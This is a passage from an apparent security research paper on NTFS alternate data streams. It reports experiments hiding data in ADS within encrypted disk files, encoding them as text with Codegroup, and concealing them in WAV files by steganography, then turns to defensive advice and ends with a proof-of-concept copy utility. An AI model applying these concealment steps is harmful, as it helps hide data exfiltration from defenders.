The first technique is quite simple. Essentially, using Iomega zip disks to store the NTFS file system allows one to transport the entire file system on disk quite easily. Iomega zip disks can be formatted using the NTFS file system, and hence will allow the use and transportation of data hidden within alternate data streams. While I haven't tested it, I suspect that with the recent surge in popularity of USB drives and Memory cards, this might be another method of transport. Theoretically, any type of drive that can be formatted using an NTFS file system should allow this type of concealment and transport.

The drawback to this is clearly the need for the physical media to be transported. While smaller and lighter, this is akin to hiding the data in the NTFS file system of a hard drive, removing the drive from the machine (which with swappable drives can be fairly simple), and transporting the entire drive. Digitally transporting the hidden data with this method is simply out of the question.

By far the most interesting technique I discovered in my experimentations with ADS involved the use of disk encryption products. In the tests that I ran, and will describe momentarily, I used PGP disk, but again, I suspect any disk encryption product that allows formatting the encrypted disk with NTFS, and when "un-mounted" stores the encrypted disk as a single file will work as well.

I typically use a laptop in my work, and as I am a security auditor and penetration tester for financial institutions, much of the client data that I collect in my work is extremely confidential in nature. As such, I store it on an encrypted disk on the laptop, and that disk is only mounted and available when I am actually using it. Over time, I have discovered that creating an encrypted disk file for each client, and storing those files on a central server, allows the client data to be safe, stored in a single file, backed up appropriately, and yet still available to be mounted and used when necessary. If I am going on a review, I simply grab the client's file from my server, and move it to my laptop. For a bit of added security, I format the encrypted disk using an NTFS file system.

As I was researching alternate data streams, I began to wonder what possibilities existed, first, for storing data in the NTFS streams of an encrypted disk, and second, for manipulating, transporting and hiding the encrypted disk files themselves. My experiments began quite simply. I wanted to find out if data could be hidden in the alternate streams of a mounted encrypted disk, and also if that data would still be there once the disk was un-mounted and re-mounted. I created a 100MB disk file (I had never created one smaller than this) and formatted it with the NTFS file system, hid the data, un-mounted the disk, and remounted it. I was able to retrieve the hidden data using the normal means. Just for the sake of curiosity, I rebooted the machine, and tried to mount and access the hidden data again, it had remained intact.

I next wondered about the possibilities of moving the encrypted disk file to another file system or removable media. I copied the file first to a FAT32 volume on a test machine, and again attempted to mount and retrieve the data. That worked fine, even though the file system that the encrypted disk was stored on was not NTFS. I burned my test file to CDROM. Here I encountered my first problem, and it was a small one. I was unable to mount the encrypted disk directly from the CD. However, when I copied it to the hard disk and mounted it, I was able to retrieve the hidden data successfully. I had also attempted to create an encrypted disk file that would fit on a floppy, and while I was able to create the file, I couldn't get it to format with NTFS. The smallest size that I could comfortably use for this process was about 3MB.

At this point, I went through a series of tests centered around passing the encrypted disk file across various types of network connections. I used FTP to store and retrieve the file from a Linux server, I used FTP to store the file and HTTP to retrieve the file from another Linux server, I even emailed the 3MB file to myself to see if I could still retrieve the hidden data within the streams. In each case, I was able to mount the disk, and retrieve the data.

So far, so good, but the file that I was passing around hither and yon was clearly a disk encryption file. That alone would likely raise curiosity about what it contained. I started looking at ways to conceal the encrypted disk file itself. My first thought was naturally, to see if I could hide it in an alternate data stream, and mount it from inside the stream. Hiding the file in the stream was quite simple, but I wasn't able to get it to mount from inside the stream. Still it was progress.

Eventually, this led back to the problem of transporting it. Hiding it in the NTFS stream of another encrypted disk file would be redundant, and not particularly helpful. I was looking for a way to transport the encrypted disk file, without anyone realizing that it was an encrypted disk file. Obviously, renaming the file to a .pdf or .mp3 extension concealed its true nature, but in reality provided camouflage against only the most cursory inspection. I wanted something that would really hide the file, and in the following experiment, which culminates my research into alternate data streams to date, steganography provided the answer.

One of the first things that I wanted to do in accomplishing the concealment of the encrypted disk file, was to convert the binary encrypted disk file to plain text. I thought at the time, that this would give me a better choice of tools to use to do the final steganography piece, since many more tools will accept text as the data to be concealed. It turned out that converting the 3 megabyte file to text increased the file size to a bit over 7.5 megabytes, which meant that I'd almost certainly be using some kind of audio file stego tool, if only because of the large file sizes involved.

In converting the encrypted disk file to text, there were a few possibilities as to what utilities I could have used, and what formats I could have converted to. For example, I could have encoded it to base64, or used PGP's ASCII Armor capabilities. Instead, however, I chose to use a utility which has been available since approximately 1998 called Codegroup. I chose this utility, for several reasons. First, it is a command line utility, and can be easily scripted. Its syntax is quite simple:

```
C:\> codegrp.exe –e | -d infile outfile
```

where –e is encode, and –d is decode. Second, I chose this utility because of the function that it was designed to provide, and the, at least theoretical, implications of this function. Codegroup doesn't add any sort of encryption in its own right; its stated purpose is to encode (not encrypt) binary data into standard telegraphic 5 letter code groupings. In a moment, I'll explain why I found this to be significant.

While there are a plethora of steganography utilities available, and I attempted to use both s-tools version 4, and MP3Stego, I finally used the trial version of

Steganos 5 Security Suite to do the final concealment of the, now converted disk encryption file. I suspect that the problem that I had with the first two utilities was because of the changes in .wav file formats since they were created. I'm judging this strictly on the error messages that I received, as I didn't troubleshoot the problem.

I found that the concealment process with Steganos 5 was about a 10:1 ratio. The file that I was attempting to conceal was 7.5 megabytes. The smallest file that I was able to pack this into was a 74 megabyte WAV format audio file, however the next smallest WAV file I had was 60 megabytes, so there is some room for interpretation there. I would have to say that while the concealment of the encrypted disk file was successful, the actual practicality of it is questionable. However, once the converted disk encryption file was hidden into the WAV file, I used the Steganos Shredder to destroy not only the original converted disk encryption file, but the original disk encryption file as well. I then extracted the converted disk encryption file from the WAV file, reversed the text conversion, and mounted the disk. I was pleased to find that the data that had been hidden in the ADS was still intact.

There are times in life, when we take things a step too far, and I think that this was one of those times. Transporting a 74 megabyte WAV file in order to conceal a 7.5 megabyte text file, is ridiculously impractical. This is particularly true, since I had been able to compress the converted text file into a zip file, (making it about 4 megabytes in size) and then unpack it, and convert it back to it's original form without losing the data in the hidden streams. Still, in the interests of our field of endeavor, and protecting it from those who might not have our best interests at heart, it is nice to know that it is possible to do that final concealment. I do, however think that the most nefarious possibilities for ADS occurred at the point where the encrypted disk file was converted to plain text format using Codegroup. Here is an excerpt from the Codegroup website:

> Text created by **codegroup** uses only upper case ASCII letters and spaces. Unlike files encoded with **uuencode** or **PGP**'s "ASCII armour" facility, the output of codegroup can be easily (albeit tediously) read over the telephone, broadcast by shortwave radio to agents in the field, or sent by telegram, telex, or Morse code. (Walker)

The possibilities that the Codegroup utility has in conjunction with alternate data streams are amazing. Once I had converted the encrypted disk file to text and back again, I went through several of the same permutations of moving it to various types of media and file systems that I had gone through with the original encrypted disk file. In each case, the data that had been hidden in the alternate data streams of the encrypted disk was accessible and undamaged when I converted the text file back.

I also did some testing with the Codegroup utility. I didn't have time to transfer 7.5 megabytes of text over a telephone line, or type it in from a printed page (I will, but I haven't yet). But I did want to test whether the claims of the utility's author were valid. I encrypted some smaller files with PGP, and then converted them with Codegroup. I printed one of these files out, and typed it into notepad on a machine where it had not been before. I saved the file, with a different file name than it had originally had, and converted it back to its original form with the Codegroup utility. I was able to decrypt it with PGP, and open the file, which was undamaged (though I suspect that a typo would have caused a problem).

What are the implications of this? The utility works as advertised for normal encrypted files, and it allows conversion of encrypted disk data to and from text without damaging the hidden data streams that the disk file contains. Though I haven't yet tested this, I'll put it out as a hypothesis. It naturally follows that the NTFS file system, and the hidden data contained in the alternate data streams of that file system can be completely removed from the digital realm without losing the ADS hidden data. It can be passed across a telephone, or a telegraph, or mailed, or even printed out and tied to the leg of a carrier pigeon before being scanned or typed back into digital format and recovering the hidden data.

It can be spoken into a tape recorder, or digital video camera, and transcribed back into digital format. Certainly, 7.5 megabytes of printed text would be too large to tie to a pigeon's leg, for example, but with microfilm, and microfiche technology, that much text needn't take up a lot of space. Speaking 7.5 megabytes (or more) of "gibberish" text into a tape recorder or telephone character by character would indeed be quite tedious. Tapping it out using a Morse Code key might get tiresome. Still, it is quite possible that an entire NTFS file system, along with the data hidden within an alternate data stream could be transferred by telegraph, or telephone, or audio recording, or printed text.

Imagine the potential for data concealment then. Imagine the possible use of this technology by criminals, terrorists, industrial or foreign spies. Imagine the advantages our own government might gain from it. The possibilities are absolutely staggering. I think that this is definitely the greatest danger of this technology. You'll note, as I have earlier, that these possibilities are not specific to the dangers of alternate data streams. A plain old encrypted disk file, or a jpeg file for that matter, could be converted and transferred in exactly the same way without using ADS at all. As I said before, ADS is not the "Hacker's silver bullet", but any exploit that is available to an attacker can be enhanced or concealed through the use of NTFS alternate data streams.

Conclusion

We've covered a lot of ground in this paper, from what alternate data streams are, and how they work, right through some of their uses and abuses. We've looked at some ways that they might be exploited for less than honorable purposes, and how that exploitation might be concealed with steganography. How do we protect and defend our networks and systems from misuse of this technology?

The short answer is that there are several tools available on the internet that you can download and use to look for data in hidden streams that shouldn't be there. I've put links to some of them in the resources section of this paper. You should use whichever one lets you sleep well at night. The correct answer takes a bit more effort.

I'm not sure if anyone will remember this, but a few years ago Archer Daniels Midland (ADM) had a television spot, where there was a picture of this huge tractor in a huge wheat field, cutting wheat. The voice over would go through a list of products, and say "At Archer Daniels Midland, we don't make the [product name], we make the [product name] softer" or whatever they had done to improve that product.

The same is true of ADS – it doesn't make the attack, it makes the attack harder to find. As we were going through the exercises, the seasoned administrators out there were wondering why folks on a corporate network would be allowed to download games from the internet in the first place. This is quite true, and it is the key to defending our networks from misuse of any technology. The key is to have our firewall working in conjunction with our proxy server, working in conjunction with our anti-virus software, and our ADS scanner working in conjunction with our network design, and our management policies, and our disaster recovery plan working in conjunction with our patch management software and so on. The term for this is defense in depth.

I said at the beginning of this paper, that whatever their motives, today's hackers are curious and creative. It's not unlike the old Mad Magazine Spy vs. Spy cartoons. A hacker finds a weakness, and exploits it. We fix the weakness. But we know that network security is a journey, not a destination. Our work is never done. For every new and improved way that's invented to improve networks and network security, new vulnerabilities and weaknesses will be found. It has to be this way, because the purpose of a network is to transfer data. The only way to truly secure our networks is to negate that purpose. Therefore, we need to have all of the pieces of the puzzle in place. If our anti-virus software doesn't pick up on alternate data streams, we make sure that our ADS scanner does, or that the users on the network can't download executables, or receive them in email in the first place. Generally, we'll do all of the above, and more, just in case one part of the defense system fails. Generally a good rule of thumb is to prevent what you can, and detect what you can't prevent.

Resources:

1. Microsoft TechNet, "Multiple Data Streams" 2003 URL: http://www.microsoft.com/technet/treeview/default.asp?url=/technet/prodtechnol/winxppro/reskit/prkc_fil_xurt.asp

2. Seifried, Kurt "Kurt Seifried Security Advisory 003 (KSSA-003)" 21 Jan 2002. URL: http://www.seifried.org/security/advisories/kssa-003.html

3. McClure, Stuart et al Hacking Exposed Third Edition. Berkley: Osborne/McGraw-Hill, 2001. 216.

4. Brenton, Chris "Virus Scanner Inadequacies with NTFS" 18 Aug 2000. URL: http://www.ists.dartmouth.edu/IRIA/knowledge_base/NTFS_Advisory.htm

5. Lemos, Robert "New Virus Hides Behind Old Technology" 6 Sep 2000 URL: http://news.zdnet.co.uk/story/0,,t269-s2081240,00.html

6. Chawmp "eLiTeWrap 1.04 (Revised README)" 1999 URL: http://homepage.ntlworld.com/chawmp/elitewrap/

7. Cole, Eric Hiding In Plain Sight. Indianapolis: Wiley Publishing Inc., 2003. 51.

8. Walker, John "Five-Letter Codegroup Filter" 26 Oct 1998 URL: http://www.fourmilab.ch/codegroup/

Tools and Utilities:

- Codegroup http://fourmilab.ch/codegroup
- PowerArchiver http://www.powerarchiver.com/
- NetCat http://www.atstake.com/research/tools/network_utilities/
- Windows Resource Kits http://www.microsoft.com/windows2000/techinfo/reskit/default.asp
- GNU Utilities for Win32 http://www.wzw.tu-muenchen.de/~syring/win32/UnxUtils.html
- Dsniff http://www.datanerds.net/~mike/dsniff.html

APPENDIX A: Binary Copy Utility

```
//Binary file copy happily accepts and uses an alternate data stream as either the
//input or the output, or both.  Note that no special code is used
//to make this understand ADS, it does so natively.  Also note that
//this is rudimentary code with NO ERROR CHECKING.  It is designed as
//proof of concept, NOT production code.
//Michael Starr 2003

#include <iostream>
#include <fstream>

using namespace std;    //introduces namespace std
int main( void )
{

        char filein[75];
        char fileout[75];
        char dat;

        cout << "Enter Input File: ";
        cin >> filein;
        cout << "Enter Output File: ";
        cin >> fileout;

        ifstream fin(filein,ios::binary);
        if(!filein){

                cout << "Unable to read file " << filein << endl;
                return(1);

        }

        ofstream fout(fileout,ios::binary);

        while(fin.get(dat)){

                fout << dat;

        }

        fin.close();
        fout.close();


        return 0;
}
```